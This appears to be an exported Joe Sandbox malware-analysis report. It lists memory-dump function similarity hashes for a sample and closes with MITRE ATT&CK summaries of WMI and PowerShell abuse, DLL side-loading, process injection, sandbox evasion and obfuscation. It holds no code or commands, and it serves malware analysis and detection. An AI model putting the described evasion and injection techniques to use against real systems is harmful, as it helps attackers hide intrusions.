Source File: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e29a6168b91677c14b416ca8b2248317e9cef87ec3d6922cd2ba3c6d7bd60079
Instruction ID: 51103f2a6eeeb3415c4b0f49b803d1e17325b0e723aece194f9e7a67f31f13cc
Opcode Fuzzy Hash: e29a6168b91677c14b416ca8b2248317e9cef87ec3d6922cd2ba3c6d7bd60079
Instruction Fuzzy Hash: DA31BDB3F106258BF3544D29CC4436272C3EBD5321F2F42388A99A77C0EA3EAD129684

Function 00D8E34F Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1a9a6f2d1f27522c92e9b4db9d31e74324062fc6eb535f93b34ad293eaa65ef
Instruction ID: 6d9e22a8ead312440a08829504afa3c4856bc3dcd43de4c2d9c433f02f9cd805
Opcode Fuzzy Hash: b1a9a6f2d1f27522c92e9b4db9d31e74324062fc6eb535f93b34ad293eaa65ef
Instruction Fuzzy Hash: E4313BB3F106254BF3584878CD693A7658297C5320F2F82798F1A6BBC5C9BE5C4612C4

Function 00D6E25A Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a890dc56325951a7345e0a53fd3e78a6952827a932ba5873a5867cfb9b17cc7
Instruction ID: bf6c9a3784065815d91b78eb03fdad5c6a197910969a26a2f6cbb5a8daf6bbfe
Opcode Fuzzy Hash: 5a890dc56325951a7345e0a53fd3e78a6952827a932ba5873a5867cfb9b17cc7
Instruction Fuzzy Hash: 19316AF3F5152547F3584879DC683A2658397E5321F2F82388A4D6B7C9EC7E9C061284

Function 00DFC218 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f8597894233c085a69df97279df34bdec0169338d10e07410ad60376e489395
Instruction ID: b2b3ab3702f37a840cebc87c0b35e6bdd991d7bc57c310d6cce17e54750edfb5
Opcode Fuzzy Hash: 9f8597894233c085a69df97279df34bdec0169338d10e07410ad60376e489395
Instruction Fuzzy Hash: 9C318EB3F2162543F3584C75CD98362A683EB95321F2F87788E686BBC5D97C5C0A16C4

Function 00CFE10A Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d255b81e31991929abda30096d042cd0949239dae0cd19f6b46f70ea2e37c5e9
Instruction ID: a51f4e04529ffe6d3b9df292748a0918ac9d5d00f1d075ec0a693857dbd30924
Opcode Fuzzy Hash: d255b81e31991929abda30096d042cd0949239dae0cd19f6b46f70ea2e37c5e9
Instruction Fuzzy Hash: 86211AB3F5152447F3984839CD69362648397D4320F2F82798BAEAB7C9DC7D9C0A4284

Function 00D371C1 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb12a96cd3b7c1530fcc668bcceef2fac45ac5f01c00bc77b83ef4e9ca7ce576
Instruction ID: c57f62b5dd9bc2c6f4f69122bdb5e051a82e67d042dcb0189b75804f8eb9f0bb
Opcode Fuzzy Hash: eb12a96cd3b7c1530fcc668bcceef2fac45ac5f01c00bc77b83ef4e9ca7ce576
Instruction Fuzzy Hash: B5215EA3F5052547F7544839CD583A26583EBD1321F2FC2798E98ABBC9DD7E9C0A02C0

Function 00D1E143 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fce15a0aa89009b40d38d0763d6b6cecf97b2feeac452b720fc1bce6d6261d33
Instruction ID: 1e1729d40a9197979db82b7ae6201f46f291d8125fecfdb8add311a998db24ff
Opcode Fuzzy Hash: fce15a0aa89009b40d38d0763d6b6cecf97b2feeac452b720fc1bce6d6261d33
Instruction Fuzzy Hash: 83212FF3F1162547F3904829DC58392658397E4324F3F82388A98AB7C6ED7E9C4A5784

Function 00D8C4AF Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e9cb230c6852f4e49f6aa01f53ec00c2c70bb05a30ebe26ff6e78370b437b15
Instruction ID: 526c0801a2392ddf288ed8d66cdb1b14bc0b4e711119e659196c3f4fb189704c
Opcode Fuzzy Hash: 5e9cb230c6852f4e49f6aa01f53ec00c2c70bb05a30ebe26ff6e78370b437b15
Instruction Fuzzy Hash: 0F2125B3E1152507F3688839CC553A261839B95335F2F83798F68AB7D8EC7D5C0642C8

Function 00DA055C Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b365ad580deb0ce313f964d2bb4cb54e696580ab548c5e3ea79268459dd9525
Instruction ID: 648cf6e21e61de13b6eb09d1f90588d6a7f1af5bd08fd33bb60977c031268127
Opcode Fuzzy Hash: 8b365ad580deb0ce313f964d2bb4cb54e696580ab548c5e3ea79268459dd9525
Instruction Fuzzy Hash: A72107F7E1243507F3988479DD693A26543ABE0315F2BC2388F8D67AC9ED7D180A52C4

Function 00D4C062 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2dc01a0fe8a2270a1cdef9fd53f6afba95b1e3b773bf2b5fe36aa09b62239697
Instruction ID: 8f2f12cc6e33491d0bc4fcbb8f75600530bac3a97e3d9771b8dbef2beabf0b90
Opcode Fuzzy Hash: 2dc01a0fe8a2270a1cdef9fd53f6afba95b1e3b773bf2b5fe36aa09b62239697
Instruction Fuzzy Hash: 34218CF3F61A254BF3944875CD583A225439BE1314F2F82788E9CAB3C6D8BD8C0A16C0

Function 00CBB195 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce2c56f1a8d46a5492cb7aeca9be39539dc511f8c1ab64f30d4f0b95994289a2
Instruction ID: d8fed306c2aba312dad29ecbe488d3656f04c7a8764318d7cc99704d099396cb
Opcode Fuzzy Hash: ce2c56f1a8d46a5492cb7aeca9be39539dc511f8c1ab64f30d4f0b95994289a2
Instruction Fuzzy Hash: 78114C75A987148FC31CEE94ECC47BFB3A4BB85311F19843CC6B647350D7A09E018646

Function 00CA7326 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dcf9fd34abec33a196b4c98a095fbd40f07781a04f791207052043e9e654638
Instruction ID: 0936de1931fe67ae9477e89631a9431ba6290078a66bec23211a245d48d2b7a7
Opcode Fuzzy Hash: 7dcf9fd34abec33a196b4c98a095fbd40f07781a04f791207052043e9e654638
Instruction Fuzzy Hash: D10157B45093919FC3049F29E59061FBBE0BBD5308F54DA5CE8C96B212D334CA018B46

Function 00CA526A Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf98cc634b3cff4c8a794554e83030499de455a0ae0bdf6473bdf13b8c573fb5
Instruction ID: 2ff1bcd85e7c94c5c34cf9f8522476108f19dc0f9446f8074f6d6885d2807757
Opcode Fuzzy Hash: cf98cc634b3cff4c8a794554e83030499de455a0ae0bdf6473bdf13b8c573fb5
Instruction Fuzzy Hash: B9F0ED71688301BAFA248A00DD43F6AB6A49755B04F305528B345790E1F5F1F949870E

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

